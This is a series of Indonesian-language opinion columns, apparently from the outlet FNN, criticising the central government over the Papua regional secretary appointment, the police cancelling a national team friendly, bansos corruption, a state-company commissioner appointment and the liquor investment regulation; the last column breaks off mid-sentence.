Semangat negara hadir untuk menciptakan ketenangan dan kedamainan. Mestinya ketenangan dan kedamaian menjadi pijakan pemerintah pusat. Bukan malah sebaliknya. Kepastian hukum saja tidak cukup. Harus diikuti dengan etika pengelolaan pemerintahan yang baik dan benar, sehingga bisa dipertanggungjawabkan kepada masyarakat. Aspek Etika Dalam pelaksanaan pencarian Sekda Papua, pemerintah pusat melakukan tes secara terbuka. Barangkali biasanya disebut itu lelang jabatan. Tes terbuka itu disaksikan oleh publik. Karena disaksikan oleh publik, maka sudah tentu publik akan menyimpulkan bahwa siapa yang mendapatkan nilai tertinggi akan menjadi Sekda. Begitu cara masyarakat Papua memahaminya. Menggunakan logika anak kecil saja, yang menjadi juara satu, pasti akan keluar sebagai pemenang. Itu tidak bisa terbantahkan, dengan menggunakan dalil apapun. Dengan demikian, maka, pemerintah pusat mestinya konsisten terhadap apa yang dilakukan sebagai bentuk pertanggungjawaban kepada publik. Termasuk kepada kandidat yang mengikuti tes tersebut. Faktanya, pemerintah pusat menentukan lain dari perspektif yang dipahami dan dimengerti selama ini oleh masyarakat. Pemerintah pusat justru memilih dan menetapkan calon yang nilainya di bawah yang juara satu. Walaupun kita tahu bahwa siapapun yang diputuskan dan ditetapkan pemerintah pusat adalah menjadi kewenangan mutlak dai pemerintah pusat. Namun dari aspek etika, sudah sangat salah. Inilah sumber kegaduhanitu. Apalagi pemerintah pusat tidak menjelaskan secara terbuka alasan kenapa Sekda yang dipilih bukan yang nilainya paling tinggi. Apakah ada muatan politik? Hanya pemerintah pusat yang bisa jelaskan. Sebab hanya akan melahirkan kubu-kubu di kalangan rakyat Papua. Juga akan menghambat pelayanan pemerintahan dengan baik. Dari hasil tes, tentu masyarakat Papua sudah tahu bahwa yang pantas untuk menjadi Sekda Papua adalah Doren Wakerkwa. Sehingga secara etika, Doren mestinya diputuskan oleh pemerintah pusat sebagai Sekda Propinsi Papua. Walau secara hukum bisa berbeda, pada akhirnya tergantung kepada putusan presiden, jika dilihat dari dasar legalitasnya. Dengan demikian, aspek transparansi, profesionalisme dan ketaatan pada legalitas sangat dibutuhkan dalam pelayanan pemerintahan yang baik dan benar. Sehingga asas Good Governance harus benar-benar bisa diwujudkan dalam soal-soal seperti ini. Jangan asal-asalan saja. Legalitas atau Kepastian Hukum? Karena Indonesia adalah negara hukum, maka penentuan Sekda Propinsi didasari pada pemilihan tiga nama oleh Gubernur melalui Panitia Seleksi (Pansel). Kemudian diajukan kepada Presiden melalui Menteri Dalam Negeri, dan diputuskan satu nama oleh presiden. Artinya, terhadap hal itu sudah menjadi hak priorogatif presiden untuk memutuskan siapa Sekda Propinsi Papua. Jika merujuk pada Undang-undang Aparatur Sipil Negara dengan jelas menyebutkan bahwa “…pejabat pembina kepegawaian mengusulkan tiga nama calon pejabat pimpinan tinggi madya sebagaimana dimaksud pada ayat (3) kepada Presiden melalui menteri yang menyelenggarakan urusan pemerintahan dalam negeri (pasal 114 ayat (4))…”. Sementara lebih lanjut juga dijelaskan untuk menentukan satu nama, “…presiden memilih 1 (satu) nama dari 3 (tiga) nama calon yang disampaikan untuk ditetapkan sebagai pejabat pimpinan tinggi madya (pasal 144 ayat (5))…”. Atas dasar inilah kemudian lahir keputusan presiden nomor: 159/TPA /2020 tentang Pengangkatan Pejabat Pimpinan Tinggi Madya di lingkungan Pemerintah Provinsi Papua. Yance Y Flassy yang diputuskan Presiden menjadi Sekda Propinsi Papua. Aturan turunan dari Undang-undang dalam soal Sekda adalah Peraturan Presiden Nomor 3 tahun 2018 dan Peraturan Menteri Dalam Negeri Nomor 91 tahun 2019. Dalam Perpres No 3/2018 dijelaskan “…Gubernur sebagai wakil Pemerintah Pusat mengangkat penjabat sekretaris daerah provinsi untuk melaksanakan tugas sekretaris daerah provinsi setelah mendapat persetujuan menteri yang menyelenggarakan urusan pemerintahan dalam negeri… (pasal 5 ayat (1))...”. Gubernur hanya boleh mengangkat Sekda atas persetujuan Menteri Dalam Negeri. Sementara jika melihat pada Peraturan Menteri Dalam Negeri Nomor 91/2019, “….Penjabat sekretaris daerah provinsi yang ditunjuk oleh menteri sebelum memangku jabatannya dilantik dengan mengucapkan sumpah/janji yang dipandu oleh pejabat yang melantik (pasal 7 ayat (1))…”. Penjabat ditunjuk oleh menteri sebelum dilakukan pelantikan oleh gubernur. Secara teknis soal pelantikan, dijelaskan dalam aturan pelaksana teknis yakni dalam peraturan Menteri Dalam Negeri, “…dalam hal Gubernur tidak melantik penjabat Sekretaris Daerah Provinsi dalam jangka waktu sebagaimana dimaksud pada ayat (3) menteri melantik penjabat sekretaris daerah provinsi (pasal 7 ayat (4))…”. Jadi, jika merujuk pada pasal 7, maka, pelantikan yang dilakukan oleh Menteri Dalam Negeri secara hukum terpenuhi. Kesimpulan Dari penjelasan singkat di atas, kini sampai pada kesimpulan. Secara etika, kami berharap pemerintah pusat bisa menjelaskan secara professional kepada publik Papu kenapa sampai pemilik nilai tertinggi tidak menjadi Sekda? Apakah pertimbangan politik, atau pertimbangan apa? Kenapa pelelangan bersifat terbuka, dengan melakukan ujian terbuka, dan publik mengetahui hal tersebut dengan perspektif dan kesimpulannya yang dilakukan masing-masing? Untuk menutupi tulisan ini, secara hukum, Dance Y. Flassy terpenuhi dan menjadi Sekretaris Daerah Propinsi Papua. Ucapan selamat sukses yang disampaikan oleh Yosua Noak Douw, tokoh intelektual Papua kepada Dance Y Falssy atas kesuksesan sudah sangat tepat. Atas pemenuhan legalitas, patut kita apresiasi kepada pak Dance. Semoga amanah yang diembankan kepada pak Dance bisa dilaksanakan dengan baik dalam pengelolahan birokrasi pemerintahan di Propinsi Papua. Sejak Dance Y. Flassy dilantik oleh Menteri Dalam Negeri, maka secara sah Sekretaris Daerah Propinsi dipimpin oleh Dance Y. Flassy, dan pelantikan yang dilakukan di luar dari Menteri Dalam Negeri secara hukum adalah gugur. Bagi pihak yang merasa dirugikan, masih bisa menempuh jalur hukum, walaupun dasar hukum sudah bersifat kongkrit jika merujuk pada UU ASN, Perpres, serta Permen. Semoga dengan tulisan ini, kita sama-sama bisa secara bersama meminimalisir konflik diantara yang pro dan kontra. Pemerintah pusat diharapkan ke depan harus bisa jauh untuk lebih professional. Penulis adalah Aktivis Kemanusiaan Papua.

Pertama di Dunia Timnas Digerebek Polisi

Masyarakat yang sudah sangat penat dengan kondisi setahun belakangan, makin kesal karena untuk menonton timnasnya berlaga di televisi pun tidak bisa. Citra polisi juga makin hancur karena dianggap 'mengharamkan' sepak bola, tetapi membiarkan narkoba dan miras merajalela. by Rahmi Aries Nova Jakarta, FNN - LUAR biasa tingkah polah polisi di negeri ini. Rabu (3/3) malam mereka menghentikan uji coba Tim Nasional PSSI, dan tak lama setelah itu mereka juga mengumumkan arwah syuhada Laskar FPI sebagai tersangka. Makin tak bernalar. Sejatinya uji coba Timnas yang dipersiapkan pelatih asal Korea Shin Tae-yong adalah uji coba biasa yang menjadi bagian persiapan timnya menghadapi SEA Games di Hanoi, Vietnam, 21 November-2 Desember mendatang. Jadi kategorinya adalah latihan, tapi kali ini dengan mengundang tim dari luar. Perlukah? Sangat perlu, karena setelah satu bulan berlatih Shin Tae-yong perlu melihat perkembangan pemainnya, dan itu hanya bisa dilihat lewat penampilan mereka dalam game. Lawan yang dipilih pun cuma klub lokal yang basecamp-nya pun tak terlalu jauh dari Jakarta, PS Tira Persikabo. Game uji coba juga dilakukan di tempat timnas berlatih Stadion Madya, Senayan. Pastinya, selain tidak terbuka untuk umum juga mengusung protokol kesehatan meski status Jakarta bukan lagi wilayah zona merah. Jadi aneh juga kalau latihan uji coba tersebut tiba-tiba dibatalkan dengan alasan tidak ada izin dari Markas Besar Kepolisian Republik Indonesia (Mabes Polri). Apakah latihan juga perlu izin dari Trunojoyo? Menurut Kapolsek Metro Tanah Abang, AKBP Singgih Hermawan kepada media, izin laga belum dikeluarkan Mabes Polri sampai satu jam sebelum kick-off. Menurut keterangannya, pihak panitia baru meminta izin kepada Kepolisian tepat di hari uji coba (siang). Hal tersebut menyebabkan izin belum bisa diproses tepat waktu sehingga laga uji coba harus batal digelar. "Rencana sparring timnas U23 dan Tira Persikabo hari ini tidak kami izinkan karena belum ada izinnya," tegas Singgih. Ia juga melihat kedua tim sudah datang ke area Stadion Madya dan menunggu di area parkir. Sungguh bentuk arogansi yang kebablasan. Tidak memikirkan kepentingan nasional, dan di luar nalar. Ini kejadian langka dan mungkin pertama kali di dunia. Kalaupun uji coba latihan butuh surat izin (harusnya sih tidak perlu wong cuma latihan game), Mabes PolrI di era komunikasi yang canggih seperti sekarang dalam hitungan menit juga bisa mengeluarkannya. Padahal, saat menjalani uji kelayakan dan kepatutan di Komisi III DPR Kapolri Komjen Listyo Sigit Prabowo memaparkan konsep “Presisi" kepolisian masa depan. Presisi adalah singkatan dari prediktif, responsibilitas, transparansi, berkeadilan. Menurut Listyo, pendekatan ini bisa membuat pelayanan lebih terintegrasi, modern, mudah, dan cepat. Konsep ini tertuang dalam makalahnya yang berjudul "Transformasi Polri yang Presisi". Akan tetapi, faktanya Polri bukan cuma tidak bisa cepat mengeluarkan izin, namun juga tidak bisa memprediksi dampak dari 'penggrebekan' mereka ke markas timnas. Pelatih dan pemain bisa patah arang. Masyarakat yang sudah sangat penat dengan kondisi setahun belakangan, makin kesal karena untuk menonton timnasnya berlaga di televisi pun tidak bisa. Citra polisi juga makin hancur karena dianggap 'mengharamkan' sepakbola, tetapi membiarkan narkoba dan miras merajalela. Parahnya lagi, dua jam setelah membatalkan uji coba Timas, Polri juga mengumumkan bahwa arwah enam syuhada korban penembakan KM 50 jadi tersangka. Luar biasa...** Penulis adalah Wartawan Senior FNN.co.id.

Jimly Asshiddiqy Salah Besar

by M. Rizal Fadillah Bandung FNN – Mantan Ketua Mahkamah Konstitusi (MK) Jimly Asshiddiqy menyalahkan Gerakan Pemuda Islam (GPI) yang melaporkan Presiden ke Badan Reserse Kriminal (Bareskrim) Mabes Polri. Pernyataan Jumly tersebut dinilai salah besar. Hal ini disebabkan Presiden bukan orang yang bersih dan dianggap sama sekali tidak mungkin melakukan perbuatan pidana. Nah saat Presiden melakukan pelanggaran hukum, apakah penganiayaan, penipuan, korupsi, maka Presiden harus diproses secara pidana. Bukan tata negara atau administrasi negara. Andaikan presiden dinyatakan bersalah oleh pengadilan, barulah hasil atau vonis putusan pengadilan itu yang dibawa ke DPR, MK dan MPR untuk diproses lebih lanjut soal pemberhentian presiden. Jimly secara naif menyatakan, bahwa karena Presiden adalah Kepala Negara dan Kepala Pemerintahan. Sehingga proses pelanggaran hukumnya harus dibawa ke DPR, MK, dan MPR. Mungkin saja Jimly lupa, bahwa kemana melaporkan itu tergantung pada pelanggarannya. Apakah itu pelanggaran perdata, pidana, tata negara atau tata usaha negara. Jika pelanggaran yang dilakukan Presiden itu perdata, maka dibawa ke Pengadilan Negeri. Namun kalau pelanggaran pidana, maka tentunya ke Kepolisian, dan dilanjutkan oleh Jaka Penuntut Umum (JPU) ke pengadilan. Jika pelanggaran tata negara, barulah ke DPR, MK, dan MPR. Jika Presiden melanggar administrasi, ya prosesnya ke Pengadilan Tata Usaha Negara (PTUN). Presiden dapat dilaporkan ke Kepolisian untuk memperoleh kepastian hukum dari duagaan adanya pelanggaran pidana. Jika Presiden telah terbukti secara hukum melakukan perbuatan pidana, barulah itu menjadi alasan untuk proses hukum ke tata negara. Disitulah DPR, MK, dan MPR mulai bekerja. UUD 1945 mengatur demikian, sebagaimana ketentuan Pasal 7A UUD 1945 yang berbunyi : "Presiden dan/atau Wakil Presiden dapat diberhentikan dalam masa jabatannya oleh Majelis Permusyawaratan Rakyat atas usul Dewan Perwakilan Rakyat, baik apabila terbukti telah melakukan pelanggaran hukum berupa penghianatan terhadap negara, korupsi, penyuapan, tindak pidana berat lainnya atau perbuatan tercela, maupun apabila terbukti tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden". Nah proses menuju ke DPR, MK dan MPR ternyata dapat didahului oleh proses pelanggaran pidana. Kalimat "terbukti" harus telah ditetapkan oleh Pengadilan. Baik berupa perbuatan korupsi, penyuapan, dan tindakan pidana berat. Tentu saja itu melalui penyelidikan dan penyidikan di Kepolisian atau Kejaksaan. Untuk korupsi dapat juga dilakukan pemeriksaan oleh KPK. Kerumunan yang terjadi di Maumere Nusa Tenggara Timur (NTT) sebagai bentuk pelanggaran terhadap UU Kekarantinaan Kesehatan, itu merujuk pada penahanan Habib Rizieq Shihab (HRS) di Bareskrim untuk dugaan tindak pidana yang sama. Karenanya aktivis GPI yang melaporkan dugaan tindak pidana Jokowi ke Bareskrim adalah sangat tepat. Menjadi salah dan ngawur jika melaporkan ke DPR, MK, atau MPR sebagaimana saran dari Jimly. Pak Jimly memang pakar Hukum Tata Negara, tetapi semestinya tahu akan proses hukum lainnya. Pernyataannya justru memerosotkan kredibilitas sebagai Guru Besar Ilmu Hukum di Universitas Indonesia. Gampangnya saja, misalnya seorang Presiden melakukan pembunuhan, maka apakah itu diproses dan diadili di DPR, MK atau MPR? Tentu tidak. DPR, MK, dan MPR "mengadili" menyangkut pemberhentiannya sebagai Presiden. Begitu Pasal 7A UUD 1945 mengatur. Jadi, Pak Jimly tidak perlu merasa sedih dan meratapi langkah aktivis GPI. Para aktivis GPI lah yang semestinya merasa sedih dengan cara pandang Prof Jimly yang menyedihkan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Korupsi Terjahat Sepanjang Sejarah, Malu dan Mundurlah

by Ubedilah Badrun Jakarta FNN - Pertama kali dalam sejarah Indonesia ada korupsi uang bantuan sosial (bansos) di tengah rakyat sedang menderita bertubi-tubi akibat pandemi Covid-19. Ada juga bencana banjir dan longsor dimana-mana. Disaat yang sama, Pemutusan Hubungan Kerja (PHK) terus terjadi. Jumlah pengangguran bertambah, dan orang miskin juga bertambah. Sesungguhnya argumen itu sudah cukup untuk menyebut bahwa korupsi bansos tersebut adalah korupsi terjahat sepanjang sejarah Indonesia. Sebab, sejak Indonesia merdeka tahun 1945, tidak pernah terjadi korupsi terhadap dana bansos. Uang yang seharusnya diberikan untuk rakyat miskin. Bukan sebaliknya dikorupsi oleh pejabat negara yang diberkan kepercayaan untuk menyalurkan dana bansos. Uang untuk bantuan kepada rakyat miskin dikorupsi. Nilai korupsinya dahsyat sekali. Potensi angkanya bisa mencapai triliunan rupiah. Meski yang terciduk baru mencapai Rp. 17 miliar. Celakanya yang korupsi adalah Menteri Sosial (Mensos) yang berasal dari partai berkuasa. Pertai pendukung utama Presiden yang seharusnya menjadi contoh. Presiden mestinya malu bahwa ia telah gagal mengatur anak buahnya yang berasal dari rahim politik yang sama. "Jangan ada yang korupsi", narasi yang disampaikan Presiden saat pelantikan kabinet itu tidak ada artinya lagi. Hanya narasi kosong, titahnya tak lagi didengar anak buah. Pada saat rakyat menderita seperti sekarang ini ternyata korupsi pemerintah tidak hanya sekali. Sebelum korupsi bansos ada kasus korupsi oleh Menteri Kelautan dan Perikanan. Bedanya, jika Menteri Sosial mengorupsi uang bantuan untuk rakyat miskin, sementara Menteri Kelautan dan Perikanan terkait kasus suap ekspor benih lobster. Tetapi keduanya sama-sama dilakukan disaat rakyat menderita. Menteri Keluatan dan Perikanan berasal dari Partai Gerindra yang sejak Oktober 2019 menjadi bagian dari kekuasaan. Bedanya kalau Mensos dari partainya Presiden, sementara Menteri Kelautan dan Perikanan dari partainya Menteri Pertahanan (Menhan) saat ini Prabowo Subianto. Menhan juga mestinya punya rasa malu. Bahwa Menhan telah gagal mengatur anak buahnya yang berasal dari rahim politik yang sama. Apalagi Menhan sendiri yang membina dan membesarkanya. "Dia itu saya angkat dari selokan", kata Menhan waktu itu. Korupsi terus terjadi bertubi-tubi ditengah rakyat menderita. Beberapa hari lalu ada kepala daerah yang ditangkap Komisi Pemberantasan Korupsi (KPK) dalam Operasi Tangkap Tangan (OTT) karena tersangkut kasus suap. Gubernur Sulawesi Selatan Prof. Nurdin Abdullah. Disusul kemudian berita korupsi datang kembali disuguhkan ditengah-tengah rakyat menderita. Kali ini peristiwa terjadi justru di kementrian yang dikenal berhasil menata birokrasi menjadi birokrasi paling modern di Indonesia. Karenanya pegawainya digajih paling besar diantara semua kementrian yang lain, yaitu di Kementrian Keuangan. Top markotop. Gajih paling besar tetapi masih saja korupsi. Pajabat Dirjen Pajak Kementerian Keuangan diberitakan melakukan korupsi terkait penurunan nilai pajak. Kampanye menteri keuangan Sri Mulyani tentang good governance, integritas dan profesionalitas tidak lagi ada gunanya. Mestinya Sri Mulyani malu. Sebagai menteri yang pegawainya digajih paling mahal, ia telah gagal memimpin pejabat di kementriannya. Malu dan Mundurlah Pantas saja kalau dalam rilis Corruption Perception Indeks (CPI) yang dikeluarkan Transparency International menilai, Indonesia masih sangat merah indeks persepsi korupsinya. Angkanya 37 dalam skala 0 sampai 100 (TII,2021). Angka yang sangat rendah yang menunjukkan parahnya korupsi di Indonesia selama pemerintahan ini. Pantas saja jika investor asing enggan, bahkan malas untuk berinvestasi di Indonesia. Sebab menurut riset World Economic Forum (WEF,2017) pebisnis global enggan investasi di suatu negara karena faktor merajalelanya korupsi. Faktanya Indonesia saat ini nilai investasinya memang terpuruk, sampai-sampai menyentuh angka minus 6 %. Republik ini memang sarang korupsi dan negara paling aneh. Hanya di Indonesia mantan koruptor boleh mencalonkan lagi menjadi calon pemimpin dan calon anggota DPR. Atas semua itu, sebagai rakyat biasa, saya sangat malu. Sebagai akademisi saya lebih malu lagi. Setiap kali mengajarkan kepada mahasiswa tentang pentingnya integritas elit politik dan integritas birokrasi dalam mengelola negara, pentingnya profesionalitas, dan pentingnya good governance, saya selalu kehilangan konteks. Sebab wajah elit politik dan birokrasi pemerintahan ini performanya terlalu bopeng dihadapan mahasiswa. Elit dan birokrasi kita terlalu sering mempertontonkan korupsi. Apalagi di tengah rakyat yang sedang menderita bertubi-tubi seperti sekarang ini. Pejabat seperti tidak lagi punya empati kepada penderitaan rakyat. Rakyat yang lagi menderita bukannya dibantu. Tetapi malah dirampok jatah anggarannya yang telah dialokasikan oleh negara melalui APBN. Dua hari lalu ada contoh menarik dari negeri Sakura. Juru bicara Perdana Menteri Jepang bernama Makiko Yamada mundur karena hadiri makan malam mewah yang diselenggarakan oleh pihak swasta dengan harga makan malam sekitar Rp. 9 juta. Peristiwa makan malamnya dilakukan tahun 2019 lalu, tetapi peristiwa tersebut terbongkar dalam satu bulan ini. Majalah mingguan Shukan Bunshun bulan lalu merilis laporan soal makan malam itu. Meski peristiwanya tahun 2019 lalu, tetapi itu aib besar bagi pejabat di Jepang. Makan malam yang bernuansa gratifikasi. Hukum Etika Pejabat negara atau aparatur sipil negara di Jepang melarang pegawai pemerintah menerima hadiah atau hiburan dari perusahaan atau individu yang terlihat menjilat. Tentu saja kita berdecak kagum dengan etika pejabat di Jepang seperti itu.Terlalu banyak contoh di negeri sakura itu pejabat mengundurkan diri karena malu secara etis. Menteri ekonomi Jepang Akira Amari, sempat menggegerkan publik Jepang pada tahun 2016 lalu. Da mengundurkan diri secara tiba-tiba. Ternyata semua itu dilakukan atas tuduhan korupsi kepadanya. Setelah ditelusuri lebih dalam, mantan menteri Akira Amari, ternyata tak seperti yang sudah dituduhkan. Bahkan justru para staffnyalah yang terbukti melakukan korupsi. Lantaran malu, sebagai seorang pemimpin yang tidak bisa mendidik anak buahnya. Selain itu dia merasa telah merusak kepercayaan pemerintah dan masyarakat Jepang terhadapnya. Akira mengundurkan diri. Itulah integritas. Bagaimana dengan Indonesia? Berkali-kali para menteri di Indonesia terjerat kasus korupsi. Bahkan korupsi terjahat sepanjang sejarah Indonesia telah terjadi saat ini. Korupsi bansos yang seharusnya untuk rakyat miskin. Namun tega untuk dikorupsi pejabat negara. Seperti yang saya narasikan di bagian atas tulisan ini, bahwa Menteri yang korupsi bansos itu berasal dari rahim partai politik yang sama dengan Presiden. Publik patut bertanya, adakah reflektif rasa malu pada Presiden?. Saat peristiwa OTT korupsi tersebut diberitakan, tak terlihat raut wajah malu ataupun penyesalan sedikitpun. Permintaan maaf juga tidak keluar dari mulut Presiden. Padahal secara moral hukum, dan dalam perspektif good governance, korupsi seorang menteri sesungguhnya juga bukti kegagalan Presiden. Apalagi misalnya pernah disebut-sebut bahwa Anak Presiden juga kecipratan proyeknya. Demikian juga berlaku pada Menteri Keuangan Sri Mulyani. Agenda good governance telah menemui pintu utama kegagalan. Apalagi yang korupsi adalah pejabat pada Dirjen Pajak di Kementrian Keuangan, yang berada di bawah manajemen langsung dirinya, anak buahnya langsung. Sri Mulyani tentu tidak secara langsung bersalah, tetapi secara moral etik ia bertanggungjawab atas peristiwa itu. Secara sederhana Menteri Keuangan adalah bendahara penerimaan, sekaligus pengeluaran keuangan negara. Jika penerimaan dan pengeluaran bermasalah, korupsi terjadi dimana-mana, bahkan para Menteri pada korupsi, semua kementrian terlihat tidak lagi bekerja fokus. Kalau para menteri terlihat lebih bekerja untuk bancakan APBN demi kepentingan 2024, bagaimana mungkin good governance bisa berjalan dengan baik? Lalu untuk apa Sri Mulyani bertahan terus menjadi Menteri keuangan? Sesungguhnya mundur dari Menteri Keuangan adalah bukti integritas seorang Sri Mulyani. Lebih terhormat dan mengagumkan. Kapan itu terjadi? Sri Mulyani nampaknya patut untuk belajar S3 lagi. Hanya cukup dengan satu dosen yaitu Akira Amari. Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta (UNJ).

Said Aqil Siradj Cuma Dikasih Komisaris Kereta Api

by Asyari Usman Medan, FNN - Selamat kepada Prof Said Aqil Siradj (SAS) yang diangkat oleh Erick Thohir sebagai komisaris utama (komut) PT Kereta Api Indonesia (KAI). Penunjukan ketua umum PBNU itu mulai berlaku sejak 3 Maret 2021. Apa arti pengangkatan ini? Hanya satu jawaban: sangat melecehkan. Pimpinan tertinggi NU hanya dihadiahi posisi komisaris utama. Di PT KAI pula. Kalau menjadi Komut di Pertamina mungkin masih bergengsi. Mengapa disebut melecehkan? Karena, Yakut Qoumas saja diangkat menjadi menteri agama. Padahal, dia cuma ketua GP Ansor yang berada jauh di bawah level Ketum PBNU. Bukankah Said Aqil sendiri tak merasa dilecehkan? Nah, itu dia. Kelihatannya beliau senang-senang saja menerima posisi itu. Barangkali Presiden Jokowi sudah bisa menakar bahwa Said Aqil tak bakalan merasa apa-apa. Barangkali juga Jokowi mendapat masukan dari para pembantunya bahwa Said Aqil mudah dihendel. Tak usah khawatir. Yang penting ada “rutinitas”. Sekarang, jika dilihat dari kepentingan KAI sendiri, aneh atau tidak? Tergantung cara melihatnya. Menjadi aneh, kalau Anda melihat ukuran profesionalisme seorang eksekutif perusahaan pada umumnya. Komisaris termasuk eksekutif perusahaan. Sesuai Instruksi Presiden (Inpres) No. 8/2005, seorang komisaris dituntut untuk mampu memberikan nasihat kepada direksi tentang pengelolaan perusahaan. Seorang komisaris harus mampu menduduki jabatan direktur utama BUMN bersangkutan jika direksi tidak mampu bekerja. Komisaris adalah jabatan tertinggi di BUMN. Begitu juga di perusahaan perseroan swasta pada umumnya. Nah, apakah SAS berkualifikasi untuk memberikan nasihat kepada direksi KAI? Mampukah dia duduk sebagai direktur utama seandainya terpaksa mengambil alih tugas direksi? Wallahu a’lam. Yang jelas, Said Aqil tak pernah terdengar menjalankan tugas atau profesi bisnis. Dari sudut pandang ini, memang terasa aneh. Tetapi, bisa menjadi tidak aneh. Karena penguasa memang bisa saja sesuka hati mengangkat siapa saja menjadi komisaris di BUMN. Presiden, cq. Menteri BUMN, bisa mengangkat mereka atas dasar apa saja: dasar bisnis, dasar politis, maupun dasar nepotisme. Dengan dasar-dasar ini, tidak ada istilah aneh seorang ketua umum ormas semisal SAS diangkat menjadi komisaris utama atau komisaris biasa. Sebab, Presiden Jokowi harus memberikan hadiah kepada orang-orang yang telah mendonasikan dukungan politik kepada dia. Said Aqil adalah salah satu nama besar yang telah memberikan manfaat politik kepada Jokowi. Begitulah praktik khas Indonesia. Politisi memerlukan dukungan dari berbagai kalangan, termasuk ormas NU yang terkesan sangat besar pengaruhnya. Terkahir, menarik untuk ditebak. Apakah jabatan komisaris utama itu ditawarkan kepada SAS atau sebaliknya beliau yang menunjukkan antusias? Silakan Anda jawab sendiri-sendiri saja. Oh ya, satu lagi. Berapa kira-kira gaji komut PT KAI? Informasinya tak tersedia di situs KAI. Tapi, hampir pasti seratusan juta. Sebagai perbandingan, komut Pertamina dapat 170 juta per bulan. Masih ditambah bonus tahunan. Penulis adalah Wartawan Senior FNN.co.id.

Mencabut Lampiran, Itu Hanya Tipu Untuk Menunda

by M. Rizal Fadillah Jakarta FNN - Meski lumayan dengan "dekrit" politik mencabut lampiran III dari Peraturan Presiden (Perpres) Nomor 10 tahun 2021 Tentang Bidang Usaha Penanaman Modal (BUPM )yang dimaknai melegalisasi minuman keras. Tetapi dekrit ini belum menuntaskan permasalahan yang sebenanrnya. Masih menyimpan potensi kekisruhan atau pekerjaan rumah ke depan. Pencabutan yang dilakukan Presiden Jokowi pun hanya pernyataan lisan. Tanpa menandatangani dokumen hukum yang absah. Kalau hanya dengan omongan, ya setiap saat bisa saja berubah dengan. Yang tertulis saja bisa berubah-ubah sesuai selera dan bisiskan. Apalagi yang hanya omongan. Presiden menyatakan pencabutan lampiran Perpres tersebut berdasarkan masukan dan pandangan masyarakat, khususnya ormas Islam antara lain Nahdlatul Ulama (NU), Muhammadiyah, Majelis Ulama Indonesia (MUI) dan, tokoh, serta aspirasi daerah lainnya. Kalau diikuti dengan saksama, maka sebenarnya yang terjadi bukan sekedar masukan semata. Tetapi tekanan yang keras dan kencang kalangan umat beragama, khususnya umat Islam. Bahkan ancaman yang dapat menggoyahkan pemerintah. Reaksi pemerintah terkesan hanya tarik ulur tanpa kesungguhan untuk revisi atau pembatalan terhadap Perpres. Meski kalah, tetapi lebih tepat mengalah untuk menyiapkan pola langkah yang baru. Disebut hanya menunda. Bagaimana bisa? Skeptisme ini didasarkan atas pertanyaan, mengapa hanya mencabut lampiran? Mengapa bukan Perpres Nomor 10 Tahun 2021 itu sendiri atau sekurangnya mencabut Pasal 6 ayat (1) yang berkaitan dengan klausula Lampiran III? Dengan hanya mencabut Lampiran, berarti semua Pasal dari Perpres tersebut masih tetap berlaku, termasuk Pasal 6 ayat (1) yang pada pokoknya menyatakan bahwa bidang usaha dengan persyaratan tertentu dapat diusahakan oleh semua penanam modal termasuk Koperasi dan Usaha Menengah Kecil dan Mikro (UMKM). Bidang usaha tersebut sesuai dengan rincian Lampiran III yang kontennya adalah usaha industri miras. Dengan tetap berlaku Pasal 6 ayat (1) dan pencabutan Lampiran III, maka kapan saja Lampiran III dapat muncul kembali. Bahkan bisa saja dengan rumusan yang lebih ganas. Oleh karena itu pernyataan pencabutan yang hanya bahasa lain untuk menunda keberlakuan Lampiran III atau klausula baru bagi investasi usaha miras. Maish menunggu situasi yang lebih kondusif. Ada bahaya lain dengan pencabutan Lampiran III yang secara limitatif membuat batasan usaha minuman beralkohol, yaitu menjadikan Pasal 6 ayat (1) menjadi memiliki interpretasi yang luas dan bebas. Sehingga usaha dengan persyaratan tertentu tergantung apa yang dimaknai Presiden. Ketika rincian khusus hapus, berlaku aturan dan pemahaman umum. Oleh karena itu pencabutan secara lisan hanya bernilai politis yang tidak berakibat hukum. Kemudian pencabutan lampiran hanya tipu-tipu untuk menunda saja. Yang paling berbahaya adalah cara membuat aturan hukum secara ugal-ugalan, baik dalam memberlakukan maupun mencabut. Sejak menetapkan UU No 11 tahun 2020 tentang Cipta Kerja yang dikenal dengan Omnibus Law serta aturan turunannya termasuk Kepres Nomor 10 Tahun 2021 tentang BUPM, Pemerintah Jokowi menempatkan dan membuat aturan hukum tanpa landasan yuridis, filosofis, dan sosiologis yang baik. Terkesan seenaknya dan tidak bermutu. Dekrit pencabutan Lampiran adalah tontonan politik dari premanisme hukum oleh seorang Presiden. Tipu-tipu saja. Power tends to corrupt. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menolak Azab Revolusi Mental

by Luthfi Pattimura Jakarta FNN ─ Infrastruktur yang dibangun dari pinggiran, kini telah menjadi arus utama tafsiran pembangunan. Tetapi, kenapa kesahihannya tidak bisa digugat semenjak 2015 lalu? Yuk, mari kita pemanasan dengan revolusi komersial dan industrial. Pada akhir abad 18 hingga abad 19, pola kebudayaan negara-negara barat sangat agresif bergerak membuktikan pilihan revolusi komersial dan industrial. Jaman itu Indonesia belum sebagai sebuah negara yang merdeka. Masih bergantian dijajah oleh Portogis, Belanda dan Jepang. Namun semenjak itu, masyarakat yang bernama Indonesia itu harus membayar mahal berbagai korban dari harga perseketuan kemanusiaan. Itu pasti karena tidak siap ketika menghadapi invasi kebudayaan negara-negara barat, terutama Eropa. Hingga kemerdekaan Republik Indonesia pada 17 Agustus 1945, setelah kolonial ,dan karenanya setiap bentuk penindasan dalam wajah dan bentuk apapun akan melahirkan perlawanan serta perlawanan yang tiada akhir. Perlawanan sebagai momentum melahirkan persatuan perjuangan. Nah, apa urusan pemanasan ini dengan kesahihan infrastruktur? Persoalannya begini. Jauh sebelum infrastruktur dibangun secara besar-besaran, para pendiri bangsa sangat meyakini kesahihan cita-cita Indonesia tentang tujuan pembangunan nasional. “Melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial”. Bukan hanya keindahan bunyi alenia keempat Pembukaan UUD 1945 yang berjalan lambat. Tetapi prakiraan mental yang dicurigai punya akar kuat dari pengaruh akhir abad 18 dan abad 19. Lihat saja mental pesimis yang merayapi pembangunan bertahun-tahun. Kenyataan itu yang berarti lambat pula penempatan peran kreatif Indonesia mencairkan kebekuan cita-cita pembangunan nasional. Era 